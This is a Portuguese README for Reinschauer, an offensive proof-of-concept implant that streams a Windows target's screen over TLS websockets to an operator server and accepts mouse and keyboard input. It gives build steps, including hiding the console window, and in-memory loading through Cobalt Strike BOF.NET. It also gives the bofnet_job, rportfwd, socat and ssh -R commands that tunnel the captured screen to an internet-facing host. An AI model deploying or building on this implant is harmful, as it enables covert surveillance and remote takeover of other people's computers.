Reinschauer

Uma PoC para controlar remotamente máquinas Windows via Websockets. Confira meu blog para um write-up.

• Pode ser executado como exe Go, exe .NET/C# e em memória usando BOF.NET e Cobaltstrike.

• O tráfego pode ser tunelado por meio de uma conexão Beacon interativa.
• Diferente da maioria das implementações HVNC, o reinschauer converte bitmaps brutos em JPEG e comprime os dados resultantes antes de enviá-los pela rede para reduzir o tamanho dos quadros.
• As configurações de FPS e qualidade podem ser alteradas dinamicamente pela GUI. Elas afetam o implant, de modo que o tráfego de rede é reduzido. O redimensionamento dinâmico permite usar esta ferramenta como implant em máquinas com telas grandes.

• Controles básicos de mouse e teclado são possíveis.
• Você pode usar o script na pasta server para gerar arquivos de servidor TLS ou usar os seus próprios.
• A janela do servidor pode ser redimensionada livremente, enquanto os eventos de clique devem™ ser traduzidos para o pixel correto na máquina de destino.
• Use reinschauer-server -h para ver as opções disponíveis.

Protocolo

+----------------------------------------------------------------------------------------+
|                                                                                        |
|                                                                                        |
|                  +----------------------------------------------------+                |
|                  |#1: Type (Binary or Text)                           |                |
|                  |    Binary: JPG Frame                               |                |
|                  |                                                    |                |
|                  |#2: Text                                            |                |
|                  |    ELO (Ping)                                      |                |
|                  |    FPS <FPS Count>                                 |                |
|                  |    SCL <Scaler Count>                              |                |
|                  |    QUL <JPG Quality>                               |                |
|                  |    LCL X Y (Left Click + Coordinates)              |                |
|                  |    RCL X Y                                         |                |
|                  |    KEY <Char>                                      |      xxxxxx    |
|       xxxxx   <--+----------------------------------------------------+--> xxxx   xx   |
|       x   xx                     Websockets via TLS                        xx       x  |
| x     xxxxxx                                                                xxxxxxxxx  |
| xxx     x   xx                                                          xx    x        |
|     xxxxxxxx                                                              xxxxx xxxxxx |
|         x                                                                   xxxxx      |
|         xx                                                                   xx        |
|         x xx                                                                 xxx       |
|        xx  xx                                                                x xx      |
|        x    xx                                                              xx  xxx    |
|       x      xx                                                             x     xx   |
|       x       x                                                            xx      x   |
+----------------------------------------------------------------------------------------+

Perguntas Frequentes

Como compilar?

• Instale uma versão nova do golang, >=1.18
• Para distribuições baseadas em Debian: sudo apt -y install libx11-dev libxcursor-dev xorg-dev libgl1-mesa-dev

$ cd client && GOOS=windows GOARCH=amd64 go build
$ cd server && GOOS=linux GOARCH=amd64 go build

Incluí uma versão pré-compilada e autônoma da variante dotnet neste repositório. Se quiser compilá-la você mesmo, use o arquivo de projeto do Visual Studio para compilar a variante Release x64. Se isso não acontecer automaticamente, baixe os pacotes NuGet necessários para o projeto via Visual Studio. O sistema de destino provavelmente também não tem esses pacotes instalados e, portanto, as DLLs podem estar ausentes ao executar o exe resultante no destino. Para contornar isso, este projeto invoca automaticamente o ILMerge.exe para agrupar o exe resultante junto com as bibliotecas necessárias. Portanto, use o arquivo gerado chamado reinschauer-dotnet-standalone.exe nos alvos.

Talvez seja necessário usar go get antes. Use -ldflags -H=windowsgui para desabilitar a janela do console.

Quem é o cliente/servidor?

O client é executado na máquina de destino (Windows). O componente server é executado na máquina do testador (Linux). Ele escuta em 0.0.0.0:6969 por padrão. Tanto o cliente Golang quanto o C# são compatíveis com o servidor.

Isso é um HVNC / Hidden Desktop?

Não. Ele usa a mesma área de trabalho que o usuário.

Algumas teclas e combinações de teclas não funcionam, por favor, corrija

Eu sei que |, @ e § podem não funcionar atualmente, pelo menos no meu teclado alemão meia-boca. Por favor, corrija.

O cliente usa tempo de CPU demais

Usar um valor de FPS mais baixo pode funcionar.

Não tenho uma conexão direta entre client e server

Você pode usar um Beacon do CobaltStrike para tunelar o tráfego.

Não tenho Cobaltstrike!

Use um redirecionador socat como:

socat TCP4-LISTEN:1337,fork TCP4:127.0.0.1:6969
ssh -R 6969:localhost6969 <IP>

e inicie o cliente com os parâmetros necessários ou codifique-os manualmente.

Notas sobre o uso de BOF.NET e Cobaltstrike

Primeiro, configure o BOF.NET de acordo com o manual. Além disso, carregue o exe autônomo com bofnet_load <Path to Exe>. Depois, decida como usar o Reinschauer:

1. Você pode tunelar o tráfego por uma conexão Beacon ativa.
2. Você pode enviar tráfego para qualquer outro servidor voltado para a Internet.

Tunelando Tráfego via Beacon

• Defina a sessão como interativa: sleep 0.
• Configure o encaminhamento de porta remoto: rportfwd_local 6969 127.0.0.1 6969.
• Execute o Reinschauer em segundo plano: bofnet_job reinschauer_dotnet.BofStuff. Isso faz com que o Reinschauer se conecte automaticamente a 127.0.0.1:6969 em 127.0.0.1 da máquina de destino. Isso também desativa o TLS, já que ele usa a conexão Beacon de qualquer forma.
• Para encerrar o Reinschauer, use bofnet_jobkill <Job ID>.

Enviando Tráfego para Outro Servidor

• Execute o Reinschauer em segundo plano: bofnet_job reinschauer_dotnet.BofStuff <Server IP> <Server Port> true. O parâmetro booleano ativa o uso de TLS.
• Para encerrar o Reinschauer, use bofnet_jobkill <Job ID>.

Em seguida, use o SSH e o recurso GatewayPorts: adicione GatewayPorts: clientspecified ao sshd_config e reinicie o servidor SSH. Então, ssh -R '0.0.0.0:8080:localhost:6969'' [...] disponibilizará sua porta local 6969 em 0.0.0.0:8080. Tenha cuidado :)

Ou, configure um redirecionador socat no servidor:

socat TCP4-LISTEN:<Server Port>,fork TCP4:127.0.0.1:6969
ssh -R 6969:localhost6969 <IP>